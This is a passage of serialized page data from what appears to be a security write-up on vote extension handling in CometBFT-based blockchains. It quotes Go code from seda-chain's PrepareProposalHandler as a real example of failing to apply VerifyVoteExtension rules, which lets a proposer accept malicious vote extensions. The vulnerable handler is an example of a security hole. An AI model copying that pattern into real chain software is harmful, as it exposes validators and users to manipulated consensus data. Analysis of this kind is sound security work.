extEnabled",{"type":24,"tag":930,"props":86727,"children":86728},{"style":1158},[86729],{"type":30,"value":79495},{"type":24,"tag":930,"props":86731,"children":86732},{"style":1023},[86733],{"type":30,"value":86567},{"type":24,"tag":930,"props":86735,"children":86736},{"style":959},[86737],{"type":30,"value":436},{"type":24,"tag":930,"props":86739,"children":86740},{"style":1023},[86741],{"type":30,"value":86742},"state",{"type":24,"tag":930,"props":86744,"children":86745},{"style":959},[86746],{"type":30,"value":436},{"type":24,"tag":930,"props":86748,"children":86749},{"style":1023},[86750],{"type":30,"value":86751},"ConsensusParams",{"type":24,"tag":930,"props":86753,"children":86754},{"style":959},[86755],{"type":30,"value":436},{"type":24,"tag":930,"props":86757,"children":86758},{"style":1023},[86759],{"type":30,"value":86760},"Feature",{"type":24,"tag":930,"props":86762,"children":86763},{"style":959},[86764],{"type":30,"value":436},{"type":24,"tag":930,"props":86766,"children":86767},{"style":1002},[86768],{"type":30,"value":86769},"VoteExtensionsEnabled",{"type":24,"tag":930,"props":86771,"children":86772},{"style":959},[86773],{"type":30,"value":1010},{"type":24,"tag":930,"props":86775,"children":86776},{"style":1023},[86777],{"type":30,"value":86430},{"type":24,"tag":930,"props":86779,"children":86780},{"style":959},[86781],{"type":30,"value":436},{"type":24,"tag":930,"props":86783,"children":86784},{"style":1023},[86785],{"type":30,"value":86550},{"type":24,"tag":930,"props":86787,"children":86788},{"style":959},[86789],{"type":30,"value":1054},{"type":24,"tag":930,"props":86791,"children":86792},{"class":932,"line":1313},[86793,86797,86802],{"type":24,"tag":930,"props":86794,"children":86795},{"style":1079},[86796],{"type":30,"value":15386},{"type":24,"tag":930,"props":86798,"children":86799},{"style":1023},[86800],{"type":30,"value":86801}," extEnabled",{"type":24,"tag":930,"props":86803,"children":86804},{"style":959},[86805],{"type":30,"value":981},{"type":24,"tag":930,"props":86807,"children":86808},{"class":932,"line":1335},[86809],{"type":24,"tag":930,"props":86810,"children":86811},{"style":1158},[86812],{"type":30,"value":84913},{"type":24,"tag":930,"props":86814,"children":86815},{"class":932,"line":1376},[86816,86820,86824,86828,86832,86836,86840,86844,86848,86852,86856,86860,86864,86869,86873,86878,86882],{"type":24,"tag":930,"props":86817,"children":86818},{"style":1079},[86819],{"type":30,"value":3290},{"type":24,"tag":930,"props":86821,"children":86822},{"style":1023},[86823],{"type":30,"value":86541},{"type":24,"tag":930,"props":86825,"children":86826},{"style":959},[86827],{"type":30,"value":436},{"type":24,"tag":930,"props":86829,"children":86830},{"style":1023},[86831],{"type":30,"value":86592},{"type":24,"tag":930,"props":86833,"children":86834},{"style":1158},[86835],{"type":30,"value":6402},{"type":24,"tag":930,"props":86837,"children":86838},{"style":1023},[86839],{"type":30,"value":81254},{"type":24,"tag":930,"props":86841,"children":86842},{"style":959},[86843],{"type":30,"value":436},{"type":24,"tag":930,"props":86845,"children":86846},{"style":1023},[86847],{"type":30,"value":86609},{"type":24,"tag":930,"props":86849,"children":86850},{"style":1158},[86851],{"type":30,"value":17291},{"type":24,"tag":930,"props":86853,"children":86854},{"style":1158},[86855],{"type":30,"value":15971},{"type":24,"tag":930,"props":86857,"children":86858},{"style":1023},[86859],{"type":30,"value":86430},{"type":24,"tag":930,"props":86861,"children":86862},{"style":959},[86863],{"type":30,"value":436},{"type":24,"tag":930,"props":86865,"children":86866},{"style":1023},[86867],{"type":30,"value":86868},"BlockID",{"type":24,"tag":930,"props":86870,"children":86871},{"style":959},[86872],{"type":30,"value":436},{"type":24,"tag":930,"props":86874,"children":86875},{"style":1002},[86876],{"type":30,"value":86877},"IsNil",{"type":24,"tag":930,"props":86879,"children":86880},{"style":959},[86881],{"type":30,"value":3446},{"type":24,"tag":930,"props":86883,"children":86884},{"style":1158},[86885],{"type":30,"value":86886},"&&\n",{"type":24,"tag":930,"props":86888,"children":86889},{"class":932,"line":1418},[86890,86895,86899,86903,86907,86911,86915,86919,86924,86928,86933,86937],{"type":24,"tag":930,"props":86891,"children":86892},{"style":1158},[86893],{"type":30,"value":86894},"            !",{"type":24,"tag":930,"props":86896,"children":86897},{"style":1023},[86898],{"type":30,"value":1092},{"type":24,"tag":930,"props":86900,"children":86901},{"style":959},[86902],{"type":30,"value":436},{"type":24,"tag":930,"props":86904,"children":86905},{"style":1002},[86906],{"type":30,"value":85369},{"type":24,"tag":930,"props":86908,"children":86909},{"style":959},[86910],{"type":30,"value":1010},{"type":24,"tag":930,"props":86912,"children":86913},{"style":1023},[86914],{"type":30,"value":86430},{"type":24,"tag":930,"props":86916,"children":86917},{"style":959},[86918],{"type":30,"value":436},{"type":24,"tag":930,"props":86920,"children":86921},{"style":1023},[86922],{"type":30,"value":86923},"ValidatorAddress",{"type":24,"tag":930,"props":86925,"children":86926},{"style":959},[86927],{"type":30,"value":962},{"type":24,"tag":930,"props":86929,"children":86930},{"style":1023},[86931],{"type":30,"value":86932},"myAddr",{"type":24,"tag":930,"props":86934,"children":86935},{"style":959},[86936],{"type":30,"value":27080},{"type":24,"tag":930,"props":86938,"children":86939},{"style":1422},[86940],{"type":30,"value":86941},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":24,"tag":930,"props":86943,"children":86944},{"class":932,"line":1438},[86945],{"type":24,"tag":930,"props":86946,"children":86947},{"style":1158},[86948],{"type":30,"value":85589},{"type":24,"tag":930,"props":86950,"children":86951},{"class":932,"line":1479},[86952,86956,86960,86964,86968,86973,86977,86981,86985,86990,86994,86999,87003,87007],{"type":24,"tag":930,"props":86953,"children":86954},{"style":1023},[86955],{"type":30,"value":85407},{"type":24,"tag":930,"props":86957,"children":86958},{"style":1158},[86959],{"type":30,"value":79495},{"type":24,"tag":930,"props":86961,"children":86962},{"style":1023},[86963],{"type":30,"value":86567},{"type":24,"tag":930,"props":86965,"children":86966},{"style":959},[86967],{"type":30,"value":436},{"type":24,"tag":930,"props":86969,"children":86970},{"style":1023},[86971],{"type":30,"value":86972},"blockExec",{"type":24,"tag":930,"props":86974,"children":86975},{"style":959},[86976],{"type":30,"value":436},{"type":24,"tag":930,"props":86978,"children":86979},{"style":1002},[86980],{"type":30,"value":86235},{"type":24,"tag":930,"props":86982,"children":86983},{"style":959},[86984],{"type":30,"value":1010},{"type":24,"tag":930,"props":86986,"children":86987},{"style":1023},[86988],{"type":30,"value":86989},"context",{"type":24,"tag":930,"props":86991,"children":86992},{"style":959},[86993],{"type":30,"value":436},{"type":24,"tag":930,"props":86995,"children":86996},{"style":1002},[86997],{"type":30,"value":86998},"TODO",{"type":24,"tag":930,"props":87000,"children":87001},{"style":959},[87002],{"type":30,"value":1364},{"type":24,"tag":930,"props":87004,"children":87005},{"style":1023},[87006],{"type":30,"value":86430},{"type":24,"tag":930,"props":87008,"children":87009},{"style":959},[87010],{"type":30,"value":1054},{"type":24,"tag":930,"props":87012,"children":87013},{"class":932,"line":1506},[87014],{"type":24,"tag":930,"props":87015,"children":87016},{"style":1158},[87017],{"type":30,"value":85589},{"type":24,"tag":930,"props":87019,"children":87020},{"class":932,"line":1525},[87021],{"type":24,"tag":930,"props":87022,"children":87023},{"style":959},[87024],{"type":30,"value":1831},{"type":24,"tag":930,"props":87026,"children":87027},{"class":932,"line":1569},[87028,87032,87036,87040],{"type":24,"tag":930,"props":87029,"children":87030},{"style":959},[87031],{"type":30,"value":18882},{"type":24,"tag":930,"props":87033,"children":87034},{"style":1079},[87035],{"type":30,"value":2317},{"type":24,"tag":930,"props":87037,"children":87038},{"style":1079},[87039],{"type":30,"value":2322},{"type":24,"tag":930,"props":87041,"children":87042},{"style":959},[87043],{"type":30,"value":981},{"type":24,"tag":930,"props":87045,"children":87046},{"class":932,"line":1592},[87047],{"type":24,"tag":930,"props":87048,"children":87049},{"style":1158},[87050],{"type":30,"value":84913},{"type":24,"tag":930,"props":87052,"children":87053},{"class":932,"line":1610},[87054],{"type":24,"tag":930,"props":87055,"children":87056},{"style":959},[87057],{"type":30,"value":1840},{"type":24,"tag":930,"props":87059,"children":87060},{"class":932,"line":1628},[87061],{"type":24,"tag":930,"props":87062,"children":87063},{"style":1158},[87064],{"type":30,"value":23443},{"type":24,"tag":930,"props":87066,"children":87067},{"class":932,"line":1637},[87068],{"type":24,"tag":930,"props":87069,"children":87070},{"style":959},[87071],{"type":30,"value":2528},{"type":24,"tag":33,"props":87073,"children":87074},{},[87075],{"type":30,"value":87076},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":24,"tag":151,"props":87078,"children":87080},{"id":87079},"real-world-examples-4",[87081],{"type":30,"value":79768},{"type":24,"tag":33,"props":87083,"children":87084},{},[87085,87087,87092,87094,87100,87102,87108],{"type":30,"value":87086},"An example of the bug we just described is shown here. ",{"type":24,"tag":156,"props":87088,"children":87090},{"className":87089},[],[87091],{"type":30,"value":86214},{"type":30,"value":87093}," only checks that each vote is properly signed by a validator in ",{"type":24,"tag":156,"props":87095,"children":87097},{"className":87096},[],[87098],{"type":30,"value":87099},"ValidateVoteExtension",{"type":30,"value":87101}," but does not verify it against the rules in ",{"type":24,"tag":156,"props":87103,"children":87105},{"className":87104},[],[87106],{"type":30,"value":87107},"VerifyVoteExtention.",{"type":30,"value":87109}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":24,"tag":33,"props":87111,"children":87112},{},[87113],{"type":24,"tag":37,"props":87114,"children":87117},{"href":87115,"rel":87116},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[41],[87118],{"type":30,"value":79818},{"type":24,"tag":920,"props":87120,"children":87122},{"code":87121,"language":79244,"meta":7,"className":79245,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[87123],{"type":24,"tag":156,"props":87124,"children":87125},{"__ignoreMap":7},[87126,87180,87271,87278,87299,87366,87374,87479,87502,87521,87528,87582,87605,87660,87679,87686,87693,87700,87754,87761,87787,87810,87862,87924,87931,87958,87978,87990,87997],{"type":24,"tag":930,"props":87127,"children":87128},{"class":932,"line":933},[87129,87133,87137,87142,87146,87151,87155,87160,87164,87168,87172,87176],{"type":24,"tag":930,"props":87130,"children":87131},{"style":937},[87132],{"type":30,"value":79380},{"type":24,"tag":930,"props":87134,"children":87135},{"style":959},[87136],{"type":30,"value":1087},{"type":24,"tag":930,"props":87138,"children":87139},{"style":1023},[87140],{"type":30,"value":87141},"h ",{"type":24,"tag":930,"props":87143,"children":87144},{"style":1158},[87145],{"type":30,"value":1410},{"type":24,"tag":930,"props":87147,"children":87148},{"style":943},[87149],{"type":30,"value":87150},"Handlers",{"type":24,"tag":930,"props":87152,"children":87153},{"style":959},[87154],{"type":30,"value":5579},{"type":24,"tag":930,"props":87156,"children":87157},{"style":1002},[87158],{"type":30,"value":87159},"PrepareProposalHandler",{"type":24,"tag":930,"props":87161,"children":87162},{"style":959},[87163],{"type":30,"value":3446},{"type":24,"tag":930,"props":87165,"children":87166},{"style":943},[87167],{"type":30,"value":81809},{"type":24,"tag":930,"props":87169,"children":87170},{"style":959},[87171],{"type":30,"value":436},{"type":24,"tag":930,"props":87173,"children":87174},{"style":943},[87175],{"type":30,"value":87159},{"type":24,"tag":930,"props":87177,"children":87178},{"style":959},[87179],{"type":30,"value":981},{"type":24,"tag":930,"props":87181,"children":87182},{"class":932,"line":984},[87183,87187,87191,87195,87199,87203,87207,87211,87215,87220,87224,87229,87233,87238,87242,87246,87250,87254,87259,87263,87267],{"type":24,"tag":930,"props":87184,"children":87185},{"style":1079},[87186],{"type":30,"value":20090},{"type":24,"tag":930,"props":87188,"children":87189},{"style":937},[87190],{"type":30,"value":83087},{"type":24,"tag":930,"props":87192,"children":87193},{"style":959},[87194],{"type":30,"value":1010},{"type":24,"tag":930,"props":87196,"children":87197},{"style":1023},[87198],{"type":30,"value":23384},{"type":24,"tag":930,"props":87200,"children":87201},{"style":943},[87202],{"type":30,"value":81720},{"type":24,"tag":930,"props":87204,"children":87205},{"style":959},[87206],{"type":30,"value":436},{"type":24,"tag":930,"props":87208,"children":87209},{"style":943},[87210],{"type":30,"value":79428},{"type":24,"tag":930,"props":87212,"children":87213},{"style":959},[87214],{"type":30,"value":962},{"type":24,"tag":930,"props":87216,"children":87217},{"style":1023},[87218],{"type":30,"value":87219},"req",{"type":24,"tag":930,"props":87221,"children":87222},{"style":1158},[87223],{"type":30,"value":12924},{"type":24,"tag":930,"props":87225,"children":87226},{"style":943},[87227],{"type":30,"value":87228},"abcitypes",{"type":24,"tag":930,"props":87230,"children":87231},{"style":959},[87232],{"type":30,"value":436},{"type":24,"tag":930,"props":87234,"children":87235},{"style":943},[87236],{"type":30,"value":87237},"RequestPrepareProposal",{"type":24,"tag":930,"props":87239,"children":87240},{"style":959},[87241],{"type":30,"value":79461},{"type":24,"tag":930,"props":87243,"children":87244},{"style":1158},[87245],{"type":30,"value":1410},{"type":24,"tag":930,"props":87247,"children":87248},{"style":943},[87249],{"type":30,"value":87228},{"type":24,"tag":930,"props":87251,"children":87252},{"style":959},[87253],{"type":30,"value":436},{"type":24,"tag":930,"props":87255,"children":87256},{"style":943},[87257],{"type":30,"value":87258},"ResponsePrepareProposal",{"type":24,"tag":930,"props":87260,"children":87261},{"style":959},[87262],{"type":30,"value":962},{"type":24,"tag":930,"props":87264,"children":87265},{"style":943},[87266],{"type":30,"value":17967},{"type":24,"tag":930,"props":87268,"children":87269},{"style":959},[87270],{"type":30,"value":1503},{"type":24,"tag":930,"props":87272,"children":87273},{"class":932,"line":993},[87274],{"type":24,"tag":930,"props":87275,"children":87276},{"style":1158},[87277],{"type":30,"value":84913},{"type":24,"tag":930,"props":87279,"children":87280},{"class":932,"line":1057},[87281,87285,87290,87294],{"type":24,"tag":930,"props":87282,"children":87283},{"style":937},[87284],{"type":30,"value":83196},{"type":24,"tag":930,"props":87286,"children":87287},{"style":1023},[87288],{"type":30,"value":87289}," injection",{"type":24,"tag":930,"props":87291,"children":87292},{"style":959},[87293],{"type":30,"value":79307},{"type":24,"tag":930,"props":87295,"children":87296},{"style":943},[87297],{"type":30,"value":87298},"byte\n",{"type":24,"tag":930,"props":87300,"children":87301},{"class":932,"line":1066},[87302,87306,87311,87315,87319,87323,87327,87331,87335,87339,87344,87348,87353,87357,87362],{"type":24,"tag":930,"props":87303,"children":87304},{"style":1079},[87305],{"type":30,"value":3290},{"type":24,"tag":930,"props":87307,"children":87308},{"style":1023},[87309],{"type":30,"value":87310}," req",{"type":24,"tag":930,"props":87312,"children":87313},{"style":959},[87314],{"type":30,"value":436},{"type":24,"tag":930,"props":87316,"children":87317},{"style":1023},[87318],{"type":30,"value":86550},{"type":24,"tag":930,"props":87320,"children":87321},{"style":1158},[87322],{"type":30,"value":17300},{"type":24,"tag":930,"props":87324,"children":87325},{"style":1023},[87326],{"type":30,"value":28935},{"type":24,"tag":930,"props":87328,"children":87329},{"style":959},[87330],{"type":30,"value":436},{"type":24,"tag":930,"props":87332,"children":87333},{"style":1002},[87334],{"type":30,"value":86751},{"type":24,"tag":930,"props":87336,"children":87337},{"style":959},[87338],{"type":30,"value":33259},{"type":24,"tag":930,"props":87340,"children":87341},{"style":1023},[87342],{"type":30,"value":87343},"Abci",{"type":24,"tag":930,"props":87345,"children":87346},{"style":959},[87347],{"type":30,"value":436},{"type":24,"tag":930,"props":87349,"children":87350},{"style":1023},[87351],{"type":30,"value":87352},"VoteExtensionsEnableHeight",{"type":24,"tag":930,"props":87354,"children":87355},{"style":1158},[87356],{"type":30,"value":17291},{"type":24,"tag":930,"props":87358,"children":87359},{"style":1023},[87360],{"type":30,"value":87361}," collectSigs",{"type":24,"tag":930,"props":87363,"children":87364},{"style":959},[87365],{"type":30,"value":981},{"type":24,"tag":930,"props":87367,"children":87368},{"class":932,"line":1075},[87369],{"type":24,"tag":930,"props":87370,"children":87371},{"style":1422},[87372],{"type":30,"value":87373},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":24,"tag":930,"props":87375,"children":87376},{"class":932,"line":1122},[87377,87381,87385,87390,87394,87399,87403,87407,87411,87416,87420,87425,87429,87433,87437,87441,87445,87449,87453,87458,87462,87466,87470,87475],{"type":24,"tag":930,"props":87378,"children":87379},{"style":1023},[87380],{"type":30,"value":85407},{"type":24,"tag":930,"props":87382,"children":87383},{"style":1158},[87384],{"type":30,"value":79495},{"type":24,"tag":930,"props":87386,"children":87387},{"style":1023},[87388],{"type":30,"value":87389}," baseapp",{"type":24,"tag":930,"props":87391,"children":87392},{"style":959},[87393],{"type":30,"value":436},{"type":24,"tag":930,"props":87395,"children":87396},{"style":1002},[87397],{"type":30,"value":87398},"ValidateVoteExtensions",{"type":24,"tag":930,"props":87400,"children":87401},{"style":959},[87402],{"type":30,"value":1010},{"type":24,"tag":930,"props":87404,"children":87405},{"style":1023},[87406],{"type":30,"value":23384},{"type":24,"tag":930,"props":87408,"children":87409},{"style":959},[87410],{"type":30,"value":962},{"type":24,"tag":930,"props":87412,"children":87413},{"style":1023},[87414],{"type":30,"value":87415},"h",{"type":24,"tag":930,"props":87417,"children":87418},{"style":959},[87419],{"type":30,"value":436},{"type":24,"tag":930,"props":87421,"children":87422},{"style":1023},[87423],{"type":30,"value":87424},"stakingKeeper",{"type":24,"tag":930,"props":87426,"children":87427},{"style":959},[87428],{"type":30,"value":962},{"type":24,"tag":930,"props":87430,"children":87431},{"style":1023},[87432],{"type":30,"value":87219},{"type":24,"tag":930,"props":87434,"children":87435},{"style":959},[87436],{"type":30,"value":436},{"type":24,"tag":930,"props":87438,"children":87439},{"style":1023},[87440],{"type":30,"value":86550},{"type":24,"tag":930,"props":87442,"children":87443},{"style":959},[87444],{"type":30,"value":962},{"type":24,"tag":930,"props":87446,"children":87447},{"style":1023},[87448],{"type":30,"value":23384},{"type":24,"tag":930,"props":87450,"children":87451},{"style":959},[87452],{"type":30,"value":436},{"type":24,"tag":930,"props":87454,"children":87455},{"style":1002},[87456],{"type":30,"value":87457},"ChainID",{"type":24,"tag":930,"props":87459,"children":87460},{"style":959},[87461],{"type":30,"value":1364},{"type":24,"tag":930,"props":87463,"children":87464},{"style":1023},[87465],{"type":30,"value":87219},{"type":24,"tag":930,"props":87467,"children":87468},{"style":959},[87469],{"type":30,"value":436},{"type":24,"tag":930,"props":87471,"children":87472},{"style":1023},[87473],{"type":30,"value":87474},"LocalLastCommit",{"type":24,"tag":930,"props":87476,"children":87477},{"style":959},[87478],{"type":30,"value":1054},{"type":24,"tag":930,"props":87480,"children":87481},{"class":932,"line":1131},[87482,87486,87490,87494,87498],{"type":24,"tag":930,"props":87483,"children":87484},{"style":1079},[87485],{"type":30,"value":1485},{"type":24,"tag":930,"props":87487,"children":87488},{"style":1023},[87489],{"type":30,"value":51610},{"type":24,"tag":930,"props":87491,"children":87492},{"style":1158},[87493],{"type":30,"value":67472},{"type":24,"tag":930,"props":87495,"children":87496},{"style":937},[87497],{"type":30,"value":84989},{"type":24,"tag":930,"props":87499,"children":87500},{"style":959},[87501],{"type":30,"value":981},{"type":24,"tag":930,"props":87503,"children":87504},{"class":932,"line":1144},[87505,87509,87513,87517],{"type":24,"tag":930,"props":87506,"children":87507},{"style":1079},[87508],{"type":30,"value":63815},{"type":24,"tag":930,"props":87510,"children":87511},{"style":937},[87512],{"type":30,"value":84989},{"type":24,"tag":930,"props":87514,"children":87515},{"style":959},[87516],{"type":30,"value":962},{"type":24,"tag":930,"props":87518,"children":87519},{"style":1023},[87520],{"type":30,"value":86710},{"type":24,"tag":930,"props":87522,"children":87523},{"class":932,"line":1169},[87524],{"type":24,"tag":930,"props":87525,"children":87526},{"style":959},[87527],{"type":30,"value":1643},{"type":24,"tag":930,"props":87529,"children":87530},{"class":932,"line":1191},[87531,87536,87540,87544,87548,87553,87557,87562,87566,87570,87574,87578],{"type":24,"tag":930,"props":87532,"children":87533},{"style":1023},[87534],{"type":30,"value":87535},"            injection",{"type":24,"tag":930,"props":87537,"children":87538},{"style":959},[87539],{"type":30,"value":962},{"type":24,"tag":930,"props":87541,"children":87542},{"style":1023},[87543],{"type":30,"value":51509},{"type":24,"tag":930,"props":87545,"children":87546},{"style":1158},[87547],{"type":30,"value":6137},{"type":24,"tag":930,"props":87549,"children":87550},{"style":1023},[87551],{"type":30,"value":87552}," json",{"type":24,"tag":930,"props":87554,"children":87555},{"style":959},[87556],{"type":30,"value":436},{"type":24,"tag":930,"props":87558,"children":87559},{"style":1002},[87560],{"type":30,"value":87561},"Marshal",{"type":24,"tag":930,"props":87563,"children":87564},{"style":959},[87565],{"type":30,"value":1010},{"type":24,"tag":930,"props":87567,"children":87568},{"style":1023},[87569],{"type":30,"value":87219},{"type":24,"tag":930,"props":87571,"children":87572},{"style":959},[87573],{"type":30,"value":436},{"type":24,"tag":930,"props":87575,"children":87576},{"style":1023},[87577],{"type":30,"value":87474},{"type":24,"tag":930,"props":87579,"children":87580},{"style":959},[87581],{"type":30,"value":1054},{"type":24,"tag":930,"props":87583,"children":87584},{"class":932,"line":1223},[87585,87589,87593,87597,87601],{"type":24,"tag":930,"props":87586,"children":87587},{"style":1079},[87588],{"type":30,"value":1485},{"type":24,"tag":930,"props":87590,"children":87591},{"style":1023},[87592],{"type":30,"value":51610},{"type":24,"tag":930,"props":87594,"children":87595},{"style":1158},[87596],{"type":30,"value":67472},{"type":24,"tag":930,"props":87598,"children":87599},{"style":937},[87600],{"type":30,"value":84989},{"type":24,"tag":930,"props":87602,"children":87603},{"style":959},[87604],{"type":30,"value":981},{"type":24,"tag":930,"props":87606,"children":87607},{"class":932,"line":1281},[87608,87613,87617,87622,87626,87630,87634,87639,87643,87648,87652,87656],{"type":24,"tag":930,"props":87609,"children":87610},{"style":1023},[87611],{"type":30,"value":87612},"                h",{"type":24,"tag":930,"props":87614,"children":87615},{"style":959},[87616],{"type":30,"value":436},{"type":24,"tag":930,"props":87618,"children":87619},{"style":1023},[87620],{"type":30,"value":87621},"logger",{"type":24,"tag":930,"props":87623,"children":87624},{"style":959},[87625],{"type":30,"value":436},{"type":24,"tag":930,"props":87627,"children":87628},{"style":1002},[87629],{"type":30,"value":40486},{"type":24,"tag":930,"props":87631,"children":87632},{"style":959},[87633],{"type":30,"value":1010},{"type":24,"tag":930,"props":87635,"children":87636},{"style":1270},[87637],{"type":30,"value":87638},"\"failed to marshal extended votes\"",{"type":24,"tag":930,"props":87640,"children":87641},{"style":959},[87642],{"type":30,"value":962},{"type":24,"tag":930,"props":87644,"children":87645},{"style":1270},[87646],{"type":30,"value":87647},"\"err\"",{"type":24,"tag":930,"props":87649,"children":87650},{"style":959},[87651],{"type":30,"value":962},{"type":24,"tag":930,"props":87653,"children":87654},{"style":1023},[87655],{"type":30,"value":51509},{"type":24,"tag":930,"props":87657,"children":87658},{"style":959},[87659],{"type":30,"value":1054},{"type":24,"tag":930,"props":87661,"children":87662},{"class":932,"line":1313},[87663,87667,87671,87675],{"type":24,"tag":930,"props":87664,"children":87665},{"style":1079},[87666],{"type":30,"value":63815},{"type":24,"tag":930,"props":87668,"children":87669},{"style":937},[87670],{"type":30,"value":84989},{"type":24,"tag":930,"props":87672,"children":87673},{"style":959},[87674],{"type":30,"value":962},{"type":24,"tag":930,"props":87676,"children":87677},{"style":1023},[87678],{"type":30,"value":86710},{"type":24,"tag":930,"props":87680,"children":87681},{"class":932,"line":1335},[87682],{"type":24,"tag":930,"props":87683,"children":87684},{"style":959},[87685],{"type":30,"value":1643},{"type":24,"tag":930,"props":87687,"children":87688},{"class":932,"line":1376},[87689],{"type":24,"tag":930,"props":87690,"children":87691},{"style":1158},[87692],{"type":30,"value":85589},{"type":24,"tag":930,"props":87694,"children":87695},{"class":932,"line":1418},[87696],{"type":24,"tag":930,"props":87697,"children":87698},{"style":959},[87699],{"type":30,"value":1831},{"type":24,"tag":930,"props":87701,"children":87702},{"class":932,"line":1438},[87703,87708,87712,87716,87720,87725,87729,87734,87738,87742,87746,87750],{"type":24,"tag":930,"props":87704,"children":87705},{"style":1023},[87706],{"type":30,"value":87707},"        defaultRes",{"type":24,"tag":930,"props":87709,"children":87710},{"style":959},[87711],{"type":30,"value":962},{"type":24,"tag":930,"props":87713,"children":87714},{"style":1023},[87715],{"type":30,"value":51509},{"type":24,"tag":930,"props":87717,"children":87718},{"style":1158},[87719],{"type":30,"value":79495},{"type":24,"tag":930,"props":87721,"children":87722},{"style":1023},[87723],{"type":30,"value":87724}," h",{"type":24,"tag":930,"props":87726,"children":87727},{"style":959},[87728],{"type":30,"value":436},{"type":24,"tag":930,"props":87730,"children":87731},{"style":1002},[87732],{"type":30,"value":87733},"defaultPrepareProposal",{"type":24,"tag":930,"props":87735,"children":87736},{"style":959},[87737],{"type":30,"value":1010},{"type":24,"tag":930,"props":87739,"children":87740},{"style":1023},[87741],{"type":30,"value":23384},{"type":24,"tag":930,"props":87743,"children":87744},{"style":959},[87745],{"type":30,"value":962},{"type":24,"tag":930,"props":87747,"children":87748},{"style":1023},[87749],{"type":30,"value":87219},{"type":24,"tag":930,"props":87751,"children":87752},{"style":959},[87753],{"type":30,"value":1054},{"type":24,"tag":930,"props":87755,"children":87756},{"class":932,"line":1479},[87757],{"type":24,"tag":930,"props":87758,"children":87759},{"style":1158},[87760],{"type":30,"value":84913},{"type":24,"tag":930,"props":87762,"children":87763},{"class":932,"line":1506},[87764,87769,87773,87778,87782],{"type":24,"tag":930,"props":87765,"children":87766},{"style":1023},[87767],{"type":30,"value":87768},"        proposalTxs",{"type":24,"tag":930,"props":87770,"children":87771},{"style":1158},[87772],{"type":30,"value":79495},{"type":24,"tag":930,"props":87774,"children":87775},{"style":1023},[87776],{"type":30,"value":87777}," defaultRes",{"type":24,"tag":930,"props":87779,"children":87780},{"style":959},[87781],{"type":30,"value":436},{"type":24,"tag":930,"props":87783,"children":87784},{"style":1023},[87785],{"type":30,"value":87786},"Txs\n",{"type":24,"tag":930,"props":87788,"children":87789},{"class":932,"line":1525},[87790,87794,87798,87802,87806],{"type":24,"tag":930,"props":87791,"children":87792},{"style":1079},[87793],{"type":30,"value":3290},{"type":24,"tag":930,"props":87795,"children":87796},{"style":1023},[87797],{"type":30,"value":87289},{"type":24,"tag":930,"props":87799,"children":87800},{"style":1158},[87801],{"type":30,"value":67472},{"type":24,"tag":930,"props":87803,"children":87804},{"style":937},[87805],{"type":30,"value":84989},{"type":24,"tag":930,"props":87807,"children":87808},{"style":959},[87809],{"type":30,"value":981},{"type":24,"tag":930,"props":87811,"children":87812},{"class":932,"line":1569},[87813,87818,87822,87826,87831,87836,87840,87845,87849,87854,87858],{"type":24,"tag":930,"props":87814,"children":87815},{"style":1023},[87816],{"type":30,"value":87817},"            proposalTxs",{"type":24,"tag":930,"props":87819,"children":87820},{"style":1158},[87821],{"type":30,"value":6137},{"type":24,"tag":930,"props":87823,"children":87824},{"style":1002},[87825],{"type":30,"value":80775},{"type":24,"tag":930,"props":87827,"children":87828},{"style":959},[87829],{"type":30,"value":87830},"([][]",{"type":24,"tag":930,"props":87832,"children":87833},{"style":943},[87834],{"type":30,"value":87835},"byte",{"type":24,"tag":930,"props":87837,"children":87838},{"style":959},[87839],{"type":30,"value":79697},{"type":24,"tag":930,"props":87841,"children":87842},{"style":1023},[87843],{"type":30,"value":87844},"injection",{"type":24,"tag":930,"props":87846,"children":87847},{"style":959},[87848],{"type":30,"value":79716},{"type":24,"tag":930,"props":87850,"children":87851},{"style":1023},[87852],{"type":30,"value":87853},"proposalTxs",{"type":24,"tag":930,"props":87855,"children":87856},{"style":1158},[87857],{"type":30,"value":12699},{"type":24,"tag":930,"props":87859,"children":87860},{"style":959},[87861],{"type":30,"value":1054},{"type":24,"tag":930,"props":87863,"children":87864},{"class":932,"line":1592},[87865,87870,87874,87878,87882,87886,87890,87895,87899,87904,87908,87912,87916,87920],{"type":24,"tag":930,"props":87866,"children":87867},{"style":1023},[87868],{"type":30,"value":87869},"            h",{"type":24,"tag":930,"props":87871,"children":87872},{"style":959},[87873],{"type":30,"value":436},{"type":24,"tag":930,"props":87875,"children":87876},{"style":1023},[87877],{"type":30,"value":87621},{"type":24,"tag":930,"props":87879,"children":87880},{"style":959},[87881],{"type":30,"value":436},{"type":24,"tag":930,"props":87883,"children":87884},{"style":1002},[87885],{"type":30,"value":27802},{"type":24,"tag":930,"props":87887,"children":87888},{"style":959},[87889],{"type":30,"value":1010},{"type":24,"tag":930,"props":87891,"children":87892},{"style":1270},[87893],{"type":30,"value":87894},"\"injected local last 